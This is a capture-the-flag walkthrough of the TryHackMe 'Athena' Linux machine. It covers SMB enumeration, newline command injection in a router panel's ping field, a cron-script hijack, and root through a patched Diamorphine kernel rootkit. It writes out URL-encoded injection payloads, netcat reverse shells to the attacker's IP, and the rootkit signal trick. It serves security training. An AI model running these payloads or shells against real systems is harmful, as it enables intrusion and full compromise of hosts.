Overview

Athena is a TryHackMe Linux machine that starts with an SMB share leaking a message which points toward an in-development router panel web application. New-line command injection in the panel’s ping functionality provides a foothold as www-data, and an editable cron job escalates that to the athena user. From there, sudo rights over insmod allow a suspicious kernel module to be loaded, which turns out to be a rebuilt Diamorphine LKM rootkit with a patched signal value that grants a root shell.

Attack Chain

  • Scan the target and identify SMB (139/445) and HTTP (80) among the open ports
  • Enumerate the public SMB share and download msg_for_administrator.txt
  • Recover a reference to the in-development /myrouterpanel endpoint from the message
  • Test the panel’s ping functionality and discover new-line (\n / %0a) command injection
  • Confirm nc and bash are available and pop a reverse shell as www-data
  • Run pspy64 and identify a root-owned cron job executing /usr/share/backup/backup.sh
  • Abuse write access to backup.sh to catch a reverse shell as athena
  • Read the user flag and enumerate sudo -l, finding permission to insmod a kernel module, venom.ko
  • Statically analyze the module with nm and modinfo, identifying it as a rebuilt Diamorphine LKM rootkit
  • Load the module and confirm it hides itself from lsmod but is still visible in dmesg
  • Reverse the module with objdump to recover its patched root-granting signal value
  • Send the recovered signal to escalate to root and read the root flag

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan.

export IP=10.80.176.30; export NAME=ATHENA; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -Pn -n -p- -v -oA scans/nmap_allports_$NAME

We export the discovered ports and run a service and version scan.

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -Pn --disable-arp-ping -sC -sV -oA scans/nmap_initial_$NAME -v

The open TCP ports are:

21,80,135,139,445

nmap results


Web Enumeration

Port 80 - http

Browsing to port 80 shows a basic information page for “Athena - Gods of Olympus”.

Athena landing page

All of the page’s links are dead ends, so we run a feroxbuster scan against the site.

feroxbuster --url http://$IP:80

Nothing of interest is discovered.

feroxbuster scan


SMB Enumeration

Port 139,445 - smb

We use smbmap to check for accessible shares.

python3 ~/Tools/smbmap/smbmap/smbmap.py -H $IP

We have READ ONLY access on the public share.

smbmap shares

Enumerating the share with smbclient reveals a file, msg_for_administrator.txt, which we download.

smbclient //$IP/public
get msg_for_administrator.txt

downloading the message file

The message references an endpoint for a ping web app still in development, /myrouterpanel.

message contents


Foothold

We navigate to the /myrouterpanel endpoint.

router panel

Testing the ping Functionality

We start tcpdump to capture the ping request before testing the form.

sudo tcpdump -i tun0 icmp

We enter our attacking machine’s IP and run the command.

submitting our IP

tcpdump receives the request.

tcpdump capture

The browser shows what looks like terminal output.

ping output in the browser

Inspecting the request in Burp Suite confirms this is a prime target for command injection, as we can try chaining a system command after ping.

Burp ping request

New-Line Command Injection

After testing several separators, we find that a new line (\n), URL-encoded as %0a, is not filtered.

The normal payload:

ip=192.168.142.96\nid&submit=

With \n URL-encoded, our id command executes:

ip=192.168.142.96%0aid&submit=

Burp id request

The response contains the output of both ping and our id command.

Burp id response

Reverse Shell

We check whether nc and bash are available before attempting a reverse shell.

which nc, URL-encoded:

ip=192.168.142.96%0awhich%20nc&submit=

which nc

which bash, URL-encoded:

ip=192.168.142.96%0awhich%20bash&submit=

which bash

With both nc and bash confirmed, we start a penelope listener on port 443. Some characters are filtered, so we use the simplest working shell, nc -e, with full binary paths.

/usr/bin/nc 192.168.142.96 443 -e /usr/bin/bash

We build the payload in Burp Suite’s Inspector and URL-encode it.

Burp URL-encoding the payload

The final reverse shell payload:

ip=192.168.142.96%0a%2fusr%2fbin%2fnc%20192.168.142.96%20443%20-e%20%2fusr%2fbin%2fbash&submit=

reverse shell payload in Burp

Executing the payload catches a shell as www-data.

www-data shell


Privilege Escalation to athena

We transfer pspy64 to the target, make it executable, and run it for three minutes.

timeout 3m ./pspy64

running pspy64

We spot a script, /usr/share/backup/backup.sh, being executed every 2-3 minutes.

pspy64 shows backup.sh executing

We investigate the script and find that it is writable by our current user.

backup.sh contents

Since the script executes as athena, we start a second penelope listener on port 4545 and reuse our earlier reverse shell payload with the port changed.

/usr/bin/nc 192.168.142.96 4545 -e /usr/bin/bash

No changes are needed elsewhere in the script, we simply append the reverse shell payload after the bash shebang.

editing backup.sh

We catch a shell as athena.

shell as athena

We read the user flag.

user flag


Privilege Escalation to root

The IP address changes from this point on, as the machine was restarted mid-attack.

We run sudo -l and see we can run /usr/sbin/insmod /mnt/.../secret/venom.ko with root privileges.

sudo -l output

insmod loads kernel modules (.ko files) directly into the running kernel, so we need to inspect venom.ko before loading it.

Static Analysis

We run nm for a static look at the module’s undefined symbols.

nm -u /mnt/.../secret/venom.ko

commit_creds and prepare_creds appearing together is a classic Linux privilege escalation pattern: prepare_creds() duplicates a cred struct and commit_creds() applies a given cred struct to the calling task.

nm output for venom.ko

We check the module’s metadata with modinfo.

modinfo /mnt/.../secret/venom.ko

The description, LKM rootkit, and the author, m0nad, stand out.

modinfo output

A search for m0nad and LKM rootkit leads to m0nad/Diamorphine, an LKM rootkit on GitHub. According to its documentation, sending signal 31 hides or unhides any process, signal 63 toggles the module’s own visibility, and signal 64 to any PID makes the given user root.

Loading the Module

We run the sudo command to load the module.

sudo /usr/sbin/insmod /mnt/.../secret/venom.ko

We check whether the module loaded with lsmod.

lsmod | grep venom

lsmod shows nothing, which matches Diamorphine’s documented behaviour of starting invisible once loaded. We instead check dmesg, which examines the kernel ring buffer.

dmesg | tail -20

dmesg catches the load, since the taint warning is printed to the ring buffer before the module hides itself.

dmesg taint warning

Recovering the Patched Signal

With the module confirmed loaded, we try sending signal 64 to our own shell’s PID with kill.

kill -64 $$

This immediately kills our shell instead of granting root, the module has clearly been patched from the original Diamorphine source. We check Diamorphine’s header file, diamorphine.h, on GitHub, which declares two out-of-the-ordinary functions, give_root and hacked_kill.

diamorphine.h functions

The same header also defines the documented signal values.

diamorphine.h signal values

Looking at diamorphine.c, the hacked_kill case statement calls give_root() when it receives the hardcoded SIGSUPER value, which is 64 in the upstream source.

diamorphine.c hacked_kill case

Rather than disassembling venom.ko from scratch, we use objdump to look for the hacked_kill function.

objdump -d -M intel /mnt/.../secret/venom.ko | grep -A 80 "hacked_kill"

-d disassembles, -M intel gives Intel-syntax output, and the grep -A 80 prints 80 lines after the match. The output shows three cmp instructions, each against a hex value.

objdump cmp instructions

The source and README describe three signals: 31 (hide/unhide a process), 63 (toggle module visibility), and 64 (become root). We convert each to hex to compare against the disassembly.

printf "0x%x" 31
printf "0x%x" 63
printf "0x%x" 64

hex conversions

31 (0x1f) and 63 (0x3f) match the disassembly, but 64 (0x40) does not, instead we see 0x39. We convert 0x39 back to decimal to get the patched root signal.

printf "%d\n" 0x39

The patched root signal is 57.

decimal conversion

We retry our earlier payload using signal 57 instead of 64.

kill -57 $$

This time it works.

kill -57 succeeds

We confirm root access.

root confirmation

root shell

We read the root flag.

root flag


Key Takeaways

Athena chains together several small weaknesses into a full compromise. An SMB share meant for internal use leaks a reference to an unfinished web application, and that application fails to sanitize new lines in a ping field, giving direct command injection. A world-writable cron script bridges the gap to a second user, and that user’s sudo rights over insmod allow an unvetted kernel module to be loaded as root. The final step, recovering a single patched hex constant from a disassembled Diamorphine rootkit, is a good reminder that renaming or lightly modifying a well-known offensive tool does not meaningfully hide its behaviour from static and dynamic analysis.